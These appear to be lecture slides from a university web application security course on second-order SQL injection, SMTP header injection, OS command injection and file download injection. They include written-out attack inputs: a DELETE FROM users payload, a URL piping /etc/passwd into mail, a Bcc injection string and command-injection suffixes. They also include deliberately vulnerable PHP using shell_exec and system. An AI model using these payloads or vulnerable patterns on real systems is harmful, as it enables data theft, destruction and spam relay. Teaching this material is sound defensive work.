# Other Forms of Injection Attack

Professor Larry Heimann
Web Application Security
Information Systems

Course exam scheduled on **October 17th**

Gauging interest in alternative exam
on October 15th at 6:30pm

## Lab 5 Review

- Fastest crackers
    - Melaine Freeman
    - Annie Chen
    - Serena Chen
    - Chanamon Ratanalert
    - Ivy Chung
- Key lessons from lab 5
    - Lab was a form of blind SQL injection
    - Tools like Burp Suite make it easy; sqlmap makes it even easier
    - Be willing to run a series of attacks, with each providing a little more information

## Second-order SQL injection

- To stop SQL injection, we need to either:
    - validate input
    - escape input
    - use parameterized queries
    - take advantage of built-in database security features
- What if we escape the input before we use it, but we don’t do any validation or filtering?
- We could inject SQL in one place, save it in the database, and process it later when it may not be escaped again because it’s not *direct* input from the user

## 2SQLi example

- Adding a new user on a web form:

  Username: `alice'' or username=''admin`

- Later, the user updates her password. The application runs:

```
update users set password='$pswd' where username='$username'
```

- The query expands to:

```
update users set password='newpw' where username='alice'
or username='admin'
```

## 2SQLi and denormalization

- Examples of employees and users in creamery; students and users in karate
- Initially we have

```
$first_name = someEscapeFunction($_POST["first_name"]);

$SQL = "INSERT INTO students (first_name) VALUES ('{$first_name }');";

someConnection->execute($SQL);
```

- What if the the following is entered for first name?

```
bla'); DELETE FROM users; --
```

- Actually, no problem assuming `someEscapeFunction` is decent

## 2SQLi and denormalization

- Now later we want to create a user from that student.  Go to the database and get the first_name information:

```
$student_id = 42;

$SQL = "SELECT first_name FROM students WHERE (student_id={$student_id})";

$RS = con->fetchAll($SQL);

$first_name = $RS[0]["first_name"];
```

- Now we'll use that to run the following SQL command to copy to users table:

```
 $SQL = "INSERT INTO users (first_name) VALUES ('{$first_name}');";
```

- But given the first_name in the system, this is now:

```
$SQL = "INSERT INTO users (first_name) VALUES ('bla'); DELETE FROM users; -- ');";
```

## Stopping 2SQLi

- Never trust values users input into the system ... ever.
- Take advantage of SQL’s own defense features

## SMTP Injection

- Many applications contain email-related functionality.
- Can often specify To/From email addresses directly (or in hidden fields).
- User input may be handled in various unsafe ways:
  - Passed to Unix mail command, leading to OS command injection:

```
http://server/bin/mail.cgi?addr=foo;cat%20/etc/passwd|mail%20user@userdomain.com
```

  - Passed to PHP mail() command, leading to email header injection.
  - Inserted into SMTP conversation, leading to SMTP injection.

## A simple SMTP injection

- Consider a typical “contact us” form having two fields:

```
sender (the sender's email address)
message (the message to be sent)
```

- Typical PHP code to handle this form might look like this:

```
<?php
 $to="you@yourcompany.com";
 if (!isset($_POST["Submit"])){
   ?>
   <form method="POST" action="<?=$_SERVER['PHP_SELF'];?>">
   From: <input type="text" name="sender">
   Message :
   <textarea name="message"></textarea>
   <input type="submit" value="Submit">
   </form>
   <?php
 }else{
   $from=$_POST['sender'];
   $message=$_POST['message'];
   mail($to,'Contact me',$message,"From: $from\n");
 }
?>
```

## A simple SMTP injection

- The mail() function in the script accepts four parameters, like this:

```
mail (to, subject, message, headers)
```

- If the user enters the following:

```
sender: sender@example.com
message: Can you send me your price list please?
```

- Then the mail() function will send an email with the following structure:

```
To: you@yourcompany.com
From: sender@example.com
Subject: Contact me

Can you send me your price list please.
```

## A simple SMTP injection

- Unfortunately, a spammer can add extra lines into the sender field like so:

```
sender@example.com%0ABcc:victim@somesite.com,target@hissite.com,...
```

- Since `%0A` will be interpreted by the mail server as a newline, the headers will now look like this:

```
To: you@yourcompany.com
From: sender@example.com
Bcc: victim@somesite.com,target@hissite.com,...
Subject: Contact me
```

- Now you’ve just helped a spammer send a load of spam through your company website... Marvelous, simply marvelous.

## Preventing SMTP injection

- Email addresses should be checked against a suitable regular expression (which should reject any newline characters).
- The message subject should not contain any newline characters, and may be subjected to a suitable length limit.
- If the contents of a message are being used directly in an SMTP conversation, then lines containing just a single dot should be disallowed.

## Command injection

- Command injection is basically injection of operating system commands to be executed through a web application
- According to OWASP:

  *"The purpose of the command injection attack is to inject and execute commands specified by the attacker in the vulnerable application. In situation like this, the application, which executes unwanted system commands, is like a pseudo system shell, and the attacker may use it as any authorized system user. However, commands are executed with the same privileges and environment as the application has. Command injection attacks are possible in most cases because of lack of correct input data validation, which can be manipulated by the attacker (forms, cookies, HTTP headers etc.)."*

## Command injection

- The most common places to find shell injection vulnerabilities is during loading of files and in the running of non-native web code such as perl.
- Infrequent, but serious vulnerability. What can be done?

| | |
|---|---|
| `<input>;ls` | *(view a directory's contents)* |
| `<input>;cat /etc/passwd` | *(view a file's contents)* |
| `<input>;mail tester@test.com < file.txt` | *(email a file to myself)* |
| `<input>;ping www.test.com` | *(ping a webserver)* |
| `<input>;echo "test" > test.txt` | *(write some data to another file)* |

## Command injection examples

```
<?php
   //sending the input directly -- attack with a string like file.txt;ls
   echo shell_exec('cat '.$_GET['command']);
?>
```

```
<?php
   //input is placed in quotes; you must end the quotes to execute an injection
   //craft an attack with a string like file.txt";ls
   echo shell_exec('cat "'.$_GET['command']).'"';
?>
```

```
<?php
   $host = 'google';
   if (isset($_POST['host']))
      $host = $_POST['host'];
   system("nslookup " . $host);
?>

<form method="post">
   <select name="host">
      <option value="google.com">google</option>
      <option value="yahoo.com">yahoo</option>
      <option value="bad.com;ls">bad</option>
   </select>
   <input type="submit">
</form>
```

# File download injections

- File access can be problematic at times
  - need to download files like .pdf, .jpg, .xlsx, .docx, etc. to users
  - need to allow users to upload files to system that others might access
- Already saw problem of path traversal when dealing with files
- Another problem is uploading file that contains executable code
- Checking extensions helps *(as can file size)*, but this is not sufficient

  `http://yourcompany.com/download?fn=attack.bat%0d%0a%0d%0apdf`
- Controlling permissions on file execution

## Comic of the Day...

http://xkcd.com/792/